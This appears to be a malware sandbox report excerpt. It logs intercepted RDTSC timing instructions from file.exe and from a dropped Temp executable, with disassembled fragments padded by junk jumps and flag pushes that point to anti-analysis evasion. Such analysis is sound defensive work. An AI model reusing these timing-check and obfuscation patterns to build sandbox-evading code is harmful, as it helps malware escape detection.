Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55405BF second address: 55405C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55405C3 second address: 55405C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55405C7 second address: 55405CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55405CD second address: 55405EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D8D60518h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55405EA second address: 554066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F76D9274FFCh 0x0000000f and ah, FFFFFFD8h 0x00000012 jmp 00007F76D9274FFBh 0x00000017 popfd 0x00000018 pushad 0x00000019 mov ecx, 39B7DE25h 0x0000001e mov bx, cx 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 mov bl, ACh 0x00000027 pushfd 0x00000028 jmp 00007F76D9275006h 0x0000002d or ah, 00000068h 0x00000030 jmp 00007F76D9274FFBh 0x00000035 popfd 0x00000036 popad 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov ch, dl 0x0000003d pushfd 0x0000003e jmp 00007F76D9274FFCh 0x00000043 and si, 58C8h 0x00000048 jmp 00007F76D9274FFBh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554066A second address: 5540692 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e push eax 0x0000000f push edx 0x00000010 mov cx, B135h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540692 second address: 55406C1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76D9275002h 0x00000008 adc cx, 0D88h 0x0000000d jmp 00007F76D9274FFBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a mov ecx, edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55406C1 second address: 55406F6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76D8D60511h 0x00000008 add ah, FFFFFFA6h 0x0000000b jmp 00007F76D8D60511h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ah, 97h 0x00000015 popad 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55406F6 second address: 554070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275000h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554074F second address: 554076A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60517h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554076A second address: 5540770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540770 second address: 5540774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540774 second address: 5530DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007F76D9275007h 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F76D9275004h 0x00000018 adc ah, 00000028h 0x0000001b jmp 00007F76D9274FFBh 0x00000020 popfd 0x00000021 mov ch, B7h 0x00000023 popad 0x00000024 je 00007F77497D2E8Ch 0x0000002a xor eax, eax 0x0000002c jmp 00007F76D924E72Ah 0x00000031 pop esi 0x00000032 pop edi 0x00000033 pop ebx 0x00000034 leave 0x00000035 retn 0004h 0x00000038 nop 0x00000039 cmp eax, 00000000h 0x0000003c setne cl 0x0000003f xor ebx, ebx 0x00000041 test cl, 00000001h 0x00000044 jne 00007F76D9274FF7h 0x00000046 jmp 00007F76D927516Bh 0x0000004b call 00007F76DD76F01Eh 0x00000050 mov edi, edi 0x00000052 pushad 0x00000053 push edx 0x00000054 mov si, C4B7h 0x00000058 pop esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushfd 0x0000005c jmp 00007F76D9275003h 0x00000061 add ax, F83Eh 0x00000066 jmp 00007F76D9275009h 0x0000006b popfd 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DC7 second address: 5530DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DCB second address: 5530DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F76D9274FFCh 0x0000000d push eax 0x0000000e jmp 00007F76D9274FFBh 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bx, 8526h 0x0000001b mov ax, di 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DF7 second address: 5530DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DFD second address: 5530E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E01 second address: 5530EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F76D8D6050Eh 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 jmp 00007F76D8D6050Eh 0x00000016 call 00007F76D8D60512h 0x0000001b pushfd 0x0000001c jmp 00007F76D8D60512h 0x00000021 and ecx, 449FEC58h 0x00000027 jmp 00007F76D8D6050Bh 0x0000002c popfd 0x0000002d pop ecx 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F76D8D60514h 0x00000037 or ecx, 370876B8h 0x0000003d jmp 00007F76D8D6050Bh 0x00000042 popfd 0x00000043 mov esi, 40072EEFh 0x00000048 popad 0x00000049 xchg eax, ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jmp 00007F76D8D60517h 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540BD2 second address: 5540BD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540BD7 second address: 5540C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F76D8D60515h 0x0000000a sub ecx, 7AD4FB66h 0x00000010 jmp 00007F76D8D60511h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bx, 45EEh 0x00000021 pushfd 0x00000022 jmp 00007F76D8D6050Fh 0x00000027 jmp 00007F76D8D60513h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540C39 second address: 5540C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540C3F second address: 5540C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540D18 second address: 5540D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540D1E second address: 5540D43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 324EEC5Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76D8D6050Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540D43 second address: 5540D86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 435FAFCBh 0x00000011 pushad 0x00000012 mov dx, 5608h 0x00000016 jmp 00007F76D9275001h 0x0000001b popad 0x0000001c call 00007F77497C9DFDh 0x00000021 push 75A92B70h 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov eax, dword ptr [esp+10h] 0x00000031 mov dword ptr [esp+10h], ebp 0x00000035 lea ebp, dword ptr [esp+10h] 0x00000039 sub esp, eax 0x0000003b push ebx 0x0000003c push esi 0x0000003d push edi 0x0000003e mov eax, dword ptr [75AF4538h] 0x00000043 xor dword ptr [ebp-04h], eax 0x00000046 xor eax, ebp 0x00000048 push eax 0x00000049 mov dword ptr [ebp-18h], esp 0x0000004c push dword ptr [ebp-08h] 0x0000004f mov eax, dword ptr [ebp-04h] 0x00000052 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000059 mov dword ptr [ebp-08h], eax 0x0000005c lea eax, dword ptr [ebp-10h] 0x0000005f mov dword ptr fs:[00000000h], eax 0x00000065 ret 0x00000066 jmp 00007F76D9274FFEh 0x0000006b sub esi, esi 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540D86 second address: 5540D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540D8A second address: 5540D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540D8E second address: 5540D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540E1A second address: 5540E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D9275004h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606DD second address: 556073E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F76D8D6050Ch 0x00000011 jmp 00007F76D8D60515h 0x00000016 popfd 0x00000017 mov bl, cl 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F76D8D60519h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556073E second address: 5560763 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275001h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D9274FFDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560763 second address: 556078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F76D8D6050Eh 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556078E second address: 5560792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560792 second address: 556083E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76D8D6050Ah 0x00000008 add esi, 61C72658h 0x0000000e jmp 00007F76D8D6050Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jmp 00007F76D8D60518h 0x0000001b popad 0x0000001c push eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F76D8D60511h 0x00000024 or eax, 693214A6h 0x0000002a jmp 00007F76D8D60511h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F76D8D60510h 0x00000036 jmp 00007F76D8D60515h 0x0000003b popfd 0x0000003c popad 0x0000003d xchg eax, esi 0x0000003e jmp 00007F76D8D6050Eh 0x00000043 mov esi, dword ptr [ebp+0Ch] 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov si, di 0x0000004c mov ebx, 22E430ECh 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556083E second address: 5560855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, DBh 0x00000005 mov edi, 7F8A61F0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov di, 6352h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560855 second address: 55608CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F774928E060h 0x0000000e pushad 0x0000000f jmp 00007F76D8D6050Dh 0x00000014 mov eax, 66D82667h 0x00000019 popad 0x0000001a cmp dword ptr [75AF459Ch], 05h 0x00000021 pushad 0x00000022 mov bx, si 0x00000025 pushfd 0x00000026 jmp 00007F76D8D60514h 0x0000002b jmp 00007F76D8D60515h 0x00000030 popfd 0x00000031 popad 0x00000032 je 00007F77492A60EFh 0x00000038 pushad 0x00000039 mov ecx, 46B1A5D3h 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F76D8D60511h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55608CF second address: 55608F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D9275007h 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov cx, F9CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55608F7 second address: 5560950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F76D8D6050Ch 0x00000011 adc si, 7E18h 0x00000016 jmp 00007F76D8D6050Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F76D8D60518h 0x00000022 jmp 00007F76D8D60515h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560974 second address: 556097A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556097A second address: 556097E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556097E second address: 556098F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov bx, cx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556098F second address: 5560993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 430F7B second address: 430F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 43E604 second address: 43E613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007F76D8D60508h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 43E772 second address: 43E7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 push esi 0x00000008 jno 00007F76D9274FF6h 0x0000000e jmp 00007F76D9275000h 0x00000013 pop esi 0x00000014 push esi 0x00000015 jmp 00007F76D9275008h 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F76D9275000h 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 43EDD9 second address: 43EDF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60511h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 43EDF2 second address: 43EDF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 43EDF6 second address: 43EDFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441E7F second address: 441E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441E83 second address: 441E89 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441E89 second address: 441ED0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D9275008h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov esi, 1474B0ECh 0x00000015 push 00000000h 0x00000017 call 00007F76D9274FF9h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F76D9275002h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441ED0 second address: 441ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441ED6 second address: 441EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441EDA second address: 441F10 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F76D8D60510h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edi 0x00000017 jnl 00007F76D8D6050Ch 0x0000001d pop edi 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441F10 second address: 441F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441F15 second address: 441F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F76D8D60515h 0x00000012 pop eax 0x00000013 jl 00007F76D8D60519h 0x00000019 call 00007F76D8D60511h 0x0000001e stc 0x0000001f pop ecx 0x00000020 push 00000003h 0x00000022 xor dword ptr [ebp+122D29DDh], eax 0x00000028 push 00000000h 0x0000002a mov ecx, edx 0x0000002c push 00000003h 0x0000002e or dword ptr [ebp+122D2442h], edx 0x00000034 call 00007F76D8D60509h 0x00000039 jc 00007F76D8D60510h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441F80 second address: 441F8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 441F8B second address: 44200B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F76D8D60510h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push ebx 0x00000012 push ecx 0x00000013 jns 00007F76D8D60506h 0x00000019 pop ecx 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007F76D8D60519h 0x00000024 pop eax 0x00000025 call 00007F76D8D60519h 0x0000002a mov di, dx 0x0000002d pop ecx 0x0000002e lea ebx, dword ptr [ebp+12447D6Dh] 0x00000034 jmp 00007F76D8D6050Eh 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jl 00007F76D8D60508h 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 4420A1 second address: 442110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnc 00007F76D9274FFCh 0x0000000b popad 0x0000000c xor dword ptr [esp], 1BB7F37Bh 0x00000013 jnl 00007F76D9274FFCh 0x00000019 push 00000003h 0x0000001b push edi 0x0000001c push esi 0x0000001d movzx edi, si 0x00000020 pop esi 0x00000021 pop edx 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 add dword ptr [ebp+122D1CA0h], eax 0x0000002b pop edx 0x0000002c push 00000003h 0x0000002e push ecx 0x0000002f mov dword ptr [ebp+122D2530h], eax 0x00000035 pop ecx 0x00000036 push D109BDD1h 0x0000003b push edx 0x0000003c push eax 0x0000003d pushad 0x0000003e popad 0x0000003f pop eax 0x00000040 pop edx 0x00000041 xor dword ptr [esp], 1109BDD1h 0x00000048 mov edx, dword ptr [ebp+122D3B33h] 0x0000004e lea ebx, dword ptr [ebp+12447D76h] 0x00000054 mov di, si 0x00000057 sub dword ptr [ebp+122D288Fh], edx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 442110 second address: 442117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 442117 second address: 44211C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 453B7D second address: 453B82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 461F6B second address: 461F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 461F71 second address: 461F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F76D8D60510h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 45FE82 second address: 45FE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460186 second address: 460192 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76D8D6050Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460192 second address: 4601AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F76D9275004h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 4601AE second address: 4601B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460440 second address: 460445 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
